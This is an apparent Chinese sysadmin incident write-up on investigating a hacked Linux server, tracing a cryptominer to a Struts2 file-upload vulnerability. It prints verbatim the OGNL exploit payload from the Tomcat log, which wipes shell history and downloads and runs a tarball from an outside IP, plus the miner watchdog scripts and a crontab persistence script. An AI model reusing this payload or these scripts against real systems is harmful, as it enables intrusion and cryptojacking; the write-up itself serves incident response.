2018-04-24早上,开发说他们的聊天的项目不能登录,于是立刻查看服务器,结果已经不能远程登录服务器了,但是服务器的外网ip是可以ping通的,无解,只能让机房的同事登录服务器查看。
同事登录服务器,查看原来服务器上的sshd服务被关闭了,导致不能远程连接了
。开启sshd服务,我这边远程登录服务器,查看。服务器上的所有的服务,tomcat
Mysql nginx crond等服务都被关掉了。一开始以为是服务器自身的故障导致服务器重启,线上的服务都没起来,但是查看服务器上服务是否是开机自启动的,结果,服务都是开机自启动。而且top看服务器的运行时间,服务器都是一致都是正常的运行的,也没有重启过。
[root@localhost tmp]# chkconfig --list|grep -E "sshd|mysql|nginx|crond"
crond 0:off 1:off 2:on 3:on 4:on 5:on 6:offmysqld 0:off 1:off 2:on 3:on 4:on 5:on 6:offnginx 0:off 1:off 2:off 3:off 4:off 5:off 6:offsshd 0:off 1:off 2:on 3:on 4:on 5:on 6:off
但是查看系统日志和安全登录日志,以及服务器的历史操作记录,以及我的定时任务的的内容,结果都被清空了,根本无法查找。太诡异了。基于以上的情况出现了两次,
于是对服务器做了安全限制,只能采用秘钥登录,修改服务器的sshd端口,
为了防止服务器上的sshd服务,crond服务,mysql,tomcat被异常关闭,以及定时任务内容被清空,于是写脚本检测服务进程不存在就启动服务,而且特意对crond文件进行了加锁,防止被删掉内容。
好景不长,
2018-04-26,也就是今天下午有出现异常,突然收到7.3服务器负载爆高的报警,
于是又开始排查,原来发现是代码的漏洞导致服务器被植入脚本了,下面是排查过程:
top查看负载,服务器负载飙高
查看cpu高的进程所运行的程序:
[root@localhost .xxz]# cd /var/tmp/
[root@localhost tmp]# ls
1.sh 3.sh sum
发现2个异常脚本和一个可执行程序,于是立刻去掉三个文件的执行权限
chmod 400 1.sh 3.sh sum
查看植入服务器的异常脚本:
root@localhost tmp]# cat 1.sh #!/bin/shwhile true; do server=`ps aux | grep sum | grep -v grep` if [ ! "$server" ]; then /var/tmp/sum -a sumo --host pool.sumokoin.hashvault.pro --port 3333 --user Sumoo3cjhZQNWkaxZdKpVeaRMpjDE7PV7VuK3KsGxPRKYvd5oq5VuvE58zCPfoJW8zdoMpW8UmXc4GoA7VgkfocBMgpn52QMG89 --pass xc sleep 10 fi sleep 5done[root@localhost tmp]# cat 3.sh #!/bin/shwhile true; do server=`ps aux | grep sum | grep -v grep` if [ ! "$server" ]; then /var/tmp/sum -a sumo --host pool.sumokoin.hashvault.pro --port 3333 --user Sumoo3cjhZQNWkaxZdKpVeaRMpjDE7PV7VuK3KsGxPRKYvd5oq5VuvE58zCPfoJW8zdoMpW8UmXc4GoA7VgkfocBMgpn52QMG89 --pass xc sleep 10 fisleep 5
继续排查,查看服务器的系统日志,没发现异常,于是又查看服务器的登录日志,也没发现登录异常的日志文件
tailf /var/log/messages
tailf /var/log/secure
那这些脚本有事如何上传到服务器上的呢? 忽然想到了,服务器上运行的tomcat得服务,而且听开发说是上传文件的java程序, 需要开始一个个日志文件查看,准予让我发现了蛛丝马迹了
[root@localhost logs]# grep export catalina.out org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0; cd /tmp; cd /var/tmp; chattr -ais *; wget http://52.175.207.110/.xxlol.tar.gz; curl -O http://52.175.207.110/.xxlol.tar.gz; fetch http://52.175.207.110/.xxlol.tar.gz; lwp-download http://52.175.207.110/.xxlol.tar.gz; tar -xvf .xxlol.tar.gz; rm -rf .xxlol.tar.gz; cd .xxz; chmod 777 *; ./x; ./run; history -c').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
红色的字体,发现下载一个程序到服务器/var/tmp/下面,解压出来是一个隐藏文件
[root@localhost tmp]# pwd/var/tmp[root@localhost tmp]# ls -altotal 2644drwxr-xr-x. 3 root root 4096 Apr 26 15:29 .drwxr-xr-x. 21 root root 4096 Apr 10 2017 ..-r-------- 1 root root 333 Apr 24 22:44 1.sh-r-------- 1 root root 333 Apr 24 22:06 3.sh-r-------- 1 root root 2684568 Apr 24 22:06 sumdrwx------ 2 1002 1002 4096 Apr 26 16:37 .xxz[root@localhost tmp]# cd .xxz/[root@localhost .xxz]# lsa bash.pid cron.d dir.dir h32 h64 md run x[root@localhost .xxz]#
去掉执行权限:
md h64 h32 run 都是恶意代码的执行程序
[root@localhost .xxz]# cat a
pwd > dir.dirdir=$(cat dir.dir)echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.dcrontab cron.dcrontab -l | grep updecho "#!/bin/shif test -r $dir/bash.pid; thenpid=\$(cat $dir/bash.pid)if \$(kill -CHLD \$pid >/dev/null 2>&1)thenexit 0fificd $dir./run &>/dev/nullchmod u+x upd./run &>/dev/null
于是百度了一下如下代码:
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/form-data stream, content type heade
联系客服